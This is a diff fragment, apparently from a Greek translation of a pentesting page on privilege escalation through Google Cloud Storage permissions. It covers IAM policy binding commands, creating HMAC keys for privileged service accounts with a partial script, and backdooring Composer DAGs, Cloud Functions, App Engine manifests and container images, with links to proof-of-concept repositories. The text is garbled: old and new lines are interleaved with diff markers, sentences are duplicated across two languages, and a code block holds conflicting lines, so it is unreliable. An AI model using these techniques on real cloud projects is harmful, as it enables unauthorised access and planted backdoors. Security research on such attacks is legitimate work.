- **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code.
- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **αναζητήσετε leaks και/ή source code**.
- **GCP Composer**: Όταν δημιουργείτε ένα Composer Environment ο **κώδικας όλων των DAGs** θα αποθηκευτεί μέσα σε ένα **bucket**. Αυτές οι εργασίες μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες μέσα στον κώδικά τους.
- **GCR (Container Registry)**: Το **image** των containers αποθηκεύεται μέσα σε **buckets**, που σημαίνει ότι αν μπορείτε να διαβάσετε τα buckets θα μπορείτε να κατεβάσετε τα images και να **αναζητήσετε leaks και/ή τον πηγαίο κώδικα**.
### `storage.objects.setIamPolicy`
Σας επιτρέπει να **εκμεταλλευτείτε οποιοδήποτε από τα προηγούμενα σενάρια αυτής της ενότητας**.
Αυτό το δικαίωμα σας επιτρέπει να **καταχραστείτε οποιοδήποτε από τα προηγούμενα σενάρια αυτής της ενότητας**.
```bash
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
@@ -51,7 +51,7 @@ POLICY
```
### **`storage.buckets.setIamPolicy`**
Για παράδειγμα, για το πώς να τροποποιήσετε δικαιώματα με αυτήν την άδεια, δείτε αυτή τη σελίδα:
Για παράδειγμα σχετικά με το πώς να τροποποιήσετε permissions με αυτό το permission, δείτε αυτή τη σελίδα:
```bash
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
@@ -87,14 +87,14 @@ POLICY
### `storage.hmacKeys.create`
Η δυνατότητα "interoperability" του Cloud Storage, σχεδιασμένη για **διαλειτουργίες μεταξύ cloud** όπως με AWS S3, περιλαμβάνει την **δημιουργία HMAC keys για Service Accounts και χρήστες**. Ένας επιτιθέμενος μπορεί να το εκμεταλλευτεί **δημιουργώντας ένα HMAC key για ένα Service Account με αυξημένα προνόμια**, αυξάνοντας έτσι τα **προνόμια μέσα στο Cloud Storage**. Ενώ τα HMAC keys που σχετίζονται με χρήστες ανακτώνται μόνο μέσω του web console, τόσο τα access και secret keys παραμένουν **διαρκώς προσβάσιμα**, επιτρέποντας ενδεχόμενη αποθήκευση για backup πρόσβαση. Αντιθέτως, τα HMAC keys συνδεδεμένα με Service Accounts είναι προσβάσιμα μέσω API, αλλά τα access και secret keys τους δεν μπορούν να ανακτηθούν μετά τη δημιουργία, προσθέτοντας ένα επίπεδο πολυπλοκότητας για συνεχή πρόσβαση.
Η λειτουργία "interoperability" του Cloud Storage, σχεδιασμένη για **cross-cloud interactions** όπως το AWS S3, αφορά την **δημιουργία HMAC keys για Service Accounts και χρήστες**. Ένας επιτιθέμενος μπορεί να το εκμεταλλευτεί δημιουργώντας ένα **HMAC key για ένα Service Account με αυξημένα προνόμια**, αυξάνοντας έτσι τα προνόμια εντός του Cloud Storage. Ενώ τα HMAC keys που σχετίζονται με χρήστες ανακτώνται μόνο μέσω του web console, τόσο τα access όσο και τα secret keys παραμένουν **διαρκώς προσβάσιμα**, επιτρέποντας πιθανή αποθήκευση για backup πρόσβασης. Αντίθετα, τα HMAC keys που συνδέονται με Service Accounts είναι προσβάσιμα μέσω API, αλλά τα access και secret keys τους δεν μπορούν να ανακτηθούν μετά τη δημιουργία, προσθέτοντας ένα επίπεδο πολυπλοκότητας για τη διατήρηση συνεχούς πρόσβασης.
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
@@ -117,52 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
Ένα ακόμη exploit script για αυτή τη μέθοδο μπορεί να βρεθεί [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
### `storage.objects.create`, `storage.objects.delete` = Δικαιώματα εγγραφής στο Storage
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
Για να **δημιουργήσετε ένα νέο αντικείμενο** μέσα σε ένα bucket χρειάζεστε `storage.objects.create` και, σύμφωνα με [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), χρειάζεστε επίσης `storage.objects.delete` για να **τροποποιήσετε** ένα υπάρχον αντικείμενο.
Για να **create a new object** μέσα σε ένα bucket χρειάζεστε το `storage.objects.create` και, σύμφωνα με [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), χρειάζεστε επίσης το `storage.objects.delete` για να **modify** ένα υπάρχον αντικείμενο.
Μια πολύ **συνηθισμένη εκμετάλλευση** buckets όπου μπορείτε να γράψετε στο cloud είναι όταν το **bucket αποθηκεύει αρχεία web server** μπορεί να καταφέρετε να **αποθηκεύσετε νέο κώδικα** που θα χρησιμοποιηθεί από την web εφαρμογή.
Μια πολύ **common exploitation** των buckets όπου μπορείτε να γράψετε στο cloud είναι στην περίπτωση που το **bucket αποθηκεύει αρχεία web server**, μπορεί να είστε σε θέση να **store new code** που θα χρησιμοποιηθεί από την web εφαρμογή.
### Composer
**Composer** είναι **Apache Airflow** διαχειριζόμενο μέσα στο GCP. Έχει αρκετά ενδιαφέροντα χαρακτηριστικά:
**Composer** είναι **Apache Airflow** managed μέσα στο GCP. Έχει αρκετά ενδιαφέροντα χαρακτηριστικά:
- Τρέχει μέσα σε ένα **GKE cluster**, οπότε το **SA που χρησιμοποιεί το cluster είναι προσβάσιμο** από τον κώδικα που τρέχει μέσα στο Composer
- Όλα τα components ενός composer environment (**κώδικας των DAGs**, plugins και data) αποθηκεύονται μέσα σε ένα GCP bucket. Εάν ο attacker έχει δικαιώματα ανάγνωσης και εγγραφής σε αυτό, μπορεί να παρακολουθεί το bucket και **όποτε δημιουργείται ή ενημερώνεται ένα DAG, να υποβάλει μια backdoored έκδοση** ώστε το composer environment να πάρει από το storage την παραβιασμένη έκδοση.
- Όλα τα components ενός Composer environment (**code of DAGs**, plugins και data) αποθηκεύονται σε ένα GCP bucket. Αν ο attacker έχει read και write δικαιώματα πάνω σε αυτό, θα μπορούσε να παρακολουθεί το bucket και **whenever a DAG is created or updated, submit a backdoored version** ώστε το Composer environment να πάρει από το storage την backdoored έκδοση.
**Μπορείτε να βρείτε ένα PoC αυτής της επίθεσης στο repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
- Ο κώδικας των Cloud Functions αποθηκεύεται στο Storage και κάθε φορά που δημιουργείται νέα έκδοση ο κώδικας προωθείται στο bucket και μετά το νέο container χτίζεται από αυτόν τον κώδικα. Επομένως, **εάν αντικαταστήσετε τον κώδικα πριν δημιουργηθεί η νέα έκδοση, είναι δυνατή η εκτέλεση αυθαίρετου κώδικα από τη cloud function**.
- Ο κώδικας των Cloud Functions αποθηκεύεται στο Storage και κάθε φορά που δημιουργείται μια νέα έκδοση ο κώδικας ωθείται στο bucket και στη συνέχεια χτίζεται το νέο container από αυτόν τον κώδικα. Συνεπώς, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**.
**Μπορείτε να βρείτε ένα PoC αυτής της επίθεσης στο repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
Οι εκδόσεις του AppEngine δημιουργούν κάποια δεδομένα μέσα σε ένα bucket με το όνομα σε μορφή: `staging.<project-id>.appspot.com`. Μέσα σε αυτό το bucket, είναι δυνατό να βρεθεί ένας φάκελος `ae` που θα περιέχει έναν φάκελο ανά έκδοση της AppEngine εφαρμογής και μέσα σε αυτούς τους φακέλους θα βρεθεί το αρχείο `manifest.json`. Αυτό το αρχείο περιέχει ένα json με όλα τα αρχεία που πρέπει να χρησιμοποιηθούν για να δημιουργηθεί η συγκεκριμένη έκδοση. Επιπλέον, είναι δυνατό να βρεθούν τα **πραγματικά ονόματα των αρχείων, το URL τους μέσα στο GCP bucket (τα αρχεία μέσα στο bucket έχουν αλλάξει όνομα στο sha1 hash τους) και το sha1 hash κάθε αρχείου.**
Οι AppEngine versions δημιουργούν κάποια δεδομένα μέσα σε ένα bucket με το format όνομα: `staging.<project-id>.appspot.com`. Μέσα σε αυτό το bucket, είναι δυνατό να βρείτε έναν φάκελο με όνομα `ae` που θα περιέχει έναν φάκελο ανά version της AppEngine εφαρμογής και μέσα σε αυτούς τους φακέλους θα είναι δυνατό να βρείτε το αρχείο `manifest.json`. Αυτό το αρχείο περιέχει ένα json με όλα τα αρχεία που πρέπει να χρησιμοποιηθούν για να δημιουργηθεί η συγκεκριμένη έκδοση. Επιπλέον, είναι δυνατό να βρείτε τα **πραγματικά ονόματα των αρχείων, το URL τους μέσα στο GCP bucket (τα αρχεία μέσα στο bucket άλλαξαν το όνομά τους σε sha1 hash) και το sha1 hash κάθε αρχείου.**
_Σημείωση ότι δεν είναι δυνατόν να γίνει pre-takeover αυτού του bucket επειδή οι GCP users δεν έχουν εξουσιοδότηση να δημιουργούν buckets χρησιμοποιώντας το domain appspot.com._
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
Ωστόσο, με πρόσβαση ανάγνωσης & εγγραφής σε αυτό το bucket, είναι δυνατό να escalate privileges στο SA που συνδέεται με την έκδοση του App Engine παρακολουθώντας το bucket και κάθε φορά που γίνεται αλλαγή (νέα έκδοση), να τροποποιήσετε τη νέα έκδοση όσο πιο γρήγορα γίνεται. Με αυτόν τον τρόπο, το container που θα δημιουργηθεί από αυτόν τον κώδικα θα εκτελέσει τον backdoored κώδικα.
Ωστόσο, με read & write πρόσβαση σε αυτό το bucket, είναι δυνατό να πραγματοποιηθεί escalation privileges προς το SA που είναι attached στην App Engine version παρακολουθώντας το bucket και κάθε φορά που γίνεται μια αλλαγή (νέα έκδοση), να τροποποιήσετε τη νέα έκδοση όσο το δυνατόν πιο γρήγορα. Με αυτόν τον τρόπο, το container που δημιουργείται από αυτόν τον κώδικα θα εκτελέσει τον backdoored κώδικα.
Η προαναφερθείσα επίθεση μπορεί να πραγματοποιηθεί με πολλούς διαφορετικούς τρόπους, όλοι ξεκινούν παρακολουθώντας το `staging.<project-id>.appspot.com` bucket:
Η αναφερόμενη επίθεση μπορεί να πραγματοποιηθεί με πολλούς διαφορετικούς τρόπους, όλοι ξεκινούν παρακολουθώντας το `staging.<project-id>.appspot.com` bucket:
- Ανεβάστε τον πλήρη νέο κώδικα της έκδοσης AppEngine σε ένα διαφορετικό και διαθέσιμο bucket και προετοιμάστε ένα **`manifest.json` αρχείο με το νέο όνομα bucket και τα sha1 hashes τους**. Στη συνέχεια, όταν δημιουργηθεί νέα έκδοση μέσα στο bucket, απλά χρειάζεται να τροποποιήσετε το `manifest.json` και να ανεβάσετε το κακόβουλο `manifest.json`.
- Ανεβάστε μια τροποποιημένη έκδοση του `requirements.txt` που θα χρησιμοποιεί τον **κακόβουλο κώδικα των dependencies** και ενημερώστε το `manifest.json` με το νέο όνομα αρχείου, το URL και το hash του.
- Ανεβάστε ένα **τροποποιημένο `main.py` ή `app.yaml` αρχείο που θα εκτελεί τον κακόβουλο κώδικα** και ενημερώστε το `manifest.json` με το νέο όνομα αρχείου, URL και hash.
- Upload the complete new code of the AppEngine version to a different and available bucket and prepare a **`manifest.json` file with the new bucket name and sha1 hashes of them**. Then, when a new version is created inside the bucket, you just need to modify the `manifest.json` file and upload the malicious one.
- Upload a modified `requirements.txt` version that will use a the **malicious dependencies code and update the `manifest.json`** file with the new filename, URL and the hash of it.
- Upload a **modified `main.py` or `app.yaml` file that will execute the malicious code** and update the `manifest.json` file with the new filename, URL and the hash of it.
**Μπορείτε να βρείτε ένα PoC αυτής της επίθεσης στο repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
- **Google Container Registry** αποθηκεύει τις εικόνες μέσα σε buckets αν μπορείτε να **γράψετε σε αυτά τα buckets**, ίσως να μπορείτε να move laterally προς τις υπηρεσίες όπου αυτές οι εικόνες εκτελούνται.
- Το bucket που χρησιμοποιείται από GCR θα έχει URL παρόμοιο με `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Τα top level subdomains περιγράφονται [εδώ](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
- **Google Container Registry** αποθηκεύει τα images μέσα σε buckets, αν μπορείτε να **write those buckets** ίσως να μπορέσετε να **move laterally to where those buckets are being run.**
- Το bucket που χρησιμοποιεί το GCR θα έχει ένα URL παρόμοιο με `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
> [!TIP]
> Αυτή η υπηρεσία είναι deprecated οπότε αυτή η επίθεση δεν είναι πλέον χρήσιμη. Επιπλέον, Artifact Registry, η υπηρεσία που την αντικαθιστά, δεν αποθηκεύει τις εικόνες σε buckets.
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
## **Αναφορές**